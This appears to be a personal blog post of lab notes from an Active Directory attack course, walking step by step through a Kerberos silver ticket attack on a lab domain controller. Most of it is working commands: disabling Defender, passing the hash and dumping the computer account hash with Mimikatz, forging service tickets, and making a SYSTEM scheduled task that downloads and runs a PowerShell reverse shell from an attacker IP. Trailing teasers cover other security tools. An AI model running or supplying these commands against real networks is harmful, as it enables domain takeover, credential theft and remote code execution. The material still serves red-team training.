Skip to main content

Domain dominance, Silver ticket attack - Part 4

 

For golden ticket the trust is the hash of krbtgt account hash. If dc successfully decrypts the TGT using krbtgt account hash, then it assumes that its a valid TGT. 

For silver ticket the trust is the service account or computer account ntlm/rc4 password hash. If application or service successfully decrypts that then it assumes that its a valid TGS. 

In dc, most of the services are running under the context of computer account as service account. i.e. cifs runs with the help of computer account etc. So we will target computer account. Keep in mind that computer account password are changed by default in 30 days by the system. So for maintaining persistence either you can download grade the security so that system not to change computer account password in 30 days or after a period of 30 days you need to collect the new computer account ntlm or rc4 hash again. 

Now go to your studentadmin machine where you are local admin. Launch a powershell session with admin privs. 

Disable defender:

Set-MpPreference -DisableRealtimeMonitoring $true

. C:\AD\Tools\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"sekurlsa::pth /user:svcadmin /domain:dollarcorp.moneycorp.local /ntlm:<domain admin ntlm hash> /run:powershell.exe"'

Now another powershell session will open with domain admin privs. 

On that session type below:

$sess = New-PSSession -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Enter-PSSession -Session $sess

Bypass amsi and disable defender there i mean in dc machine. Then exit.

Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess

Enter-PSSession -Session $sess (Mimikatz will be loaded on the memory of dc now)

Now you are in domain controller machine with the privs of domain admin.

From dc with DA privilege run the below command:

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName dcorp-dc

or

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' 

Take the dcorp-dc$ computer ntlm or rc4 hash.

Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:cifs /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

Now you will get the silver ticket. Give klist command to see that. 

Using that ticket access cifs service:

ls \\dcorp-dc.dollarcorp.moneycorp.local\c$

You will get access. 


Command Execution using silver ticket:

There are various ways to achieve command execution using silver ticket:

So we will create a HOST SPN that will allow us to schedule a task on the target which in turn help us to execute commands. Follow the above task first.

Now go to any machine or your studentadmin machine where mimikatz script is present (It will also work from non-admin powershell session):

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:HOST /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

Give klist command to see. 

Now lets see we can list tasks on the remote dc box or not, from studentadmin machine:

schtasks /S dcorp-dc.dollarcorp.moneycorp.local

By default the hfs web server will listen on port 8080 but we will make it to listen on port 443 by modifying the script a bit. Go to the script and add the following line at the end of the script:

Invoke-PowershellTcp -Reverse IPAddress 172.16.50.100 -Port 443

Now from your studentadmin machine, launch powercat in another powershell session:

. .\PowerCat.ps1
powercat -lvp 443 -t 1000

Then run the main command from studentadmin machine other powershell session. Admin session not required. Non-admin powershell session will also work:

schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString(' 'http://172.16.50.100/Invoke-PowershellTcp.ps1''')'"

or

schtasks /S dcorp-dc.dollarcorp.moneycorp.local /SC Weekly /RU "NT Authority\System" /TN "STCheck" /TR "powershell.exe -c 'íex (New-Object Net.WebClient).DownloadString('http://172.16.50.100/Invoke-PowershellTcp.ps1')'"


Now run the task:

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "STCheck"

You will get the reverse shell now.


Code or command execution via WMI. 

It requires HOST SPN and RPCSS service. We already have HOST service. Now lets do it for RPCSS. 

From a non-elevated shell of studentadmin user:

. .\Invoke-Mimikatz.ps1

Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:<domain sid> /target:dcorp-dc.dollarcorp.moneycorp.local /service:RPCSS /rc4:<dcorp-dc computer ntlm or rc4 hash> /ptt"'

From that same machine:

gwmi -Class Win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local


Avi


Comments

Popular posts from this blog

Install Nessus from docker

Docker installation. Give the below commands one by one. apt install docker-cli apt install docker.io After the installation is complete, if you are inside wsl then give this command to start docker, because inside wsl systemd (systemctl) does not work: service docker start WSL troubleshooting : If the above command " service docker start " does not work then use below command: dockerd (It may not work if any previous docker process is running. It will show you pid of that process. Use this command to kill that process " kill -9 pid " and run dockerd command again) If " docker ps -a " giving error like " Cannot connect to the Docker daemon at unix:///run/podman/podman.sock. Is the docker daemon running? " This is because you may installed podman-docker package. If you remove the package still you will get this error but you should remove the package. Then issue this command: env | grep -i docker DOCKER_HOST=unix:///run/podman/podman.sock   -->...

Installtion of SQLMutant tool

This tool is perfectly works on ubuntu 24 system. And I found it is not working properly in kali linux 24 version.   https://github.com/blackhatethicalhacking/SQLMutant/tree/main This tool need to use along with sqlmap tool. Showing this cheat sheet for kali or debian based system.  This tool actually analyze everything and give you the vulnerable url where sql injection is possible. You just need to use then sqlmap to exploit that.   Prerequisite: apt install pipx -y (for ubuntu) pip3 install uro or pipx install uro pipx ensurepath pipx completions  (not needed)  source ~/.bashrc   or restart system If go tool is not installed then run the below two commands first ( golang-go ) or follow this link to install go (https://mahimfiroj.blogspot.com/2024/12/installing-nuclei-in-kali.html) otherwise skip this step.   dpkg -l | grep packagename (Using this command you can check package is installed or not) apt install gccgo-go -y or apt install gol...

net command cheat sheet

  To see what users present in the system: net user To see local groups in the system: net localgroup To see domain groups. This should be run on a domain controller: net group To see the details of a user along with his/her group membership: net user mahim To see who are the members of a particular group (local machine): net localgroup "administrators"    (These are not case sensitive. You can use administrators or Administrators. Both will give you same result. To see who are the members of a particular group (domain machine): net group "domain admins" Create a local user: net user localuser1 MyP@ssw0rd /add Create a domain user: net user domainuser1 MyP@ssw0rd /add /domain Add the local user to local admin group: net localgroup Administrators localuser1 /add Add the user to domain admin group: net group "Domain Admins" domainuser1 /add /domain Avi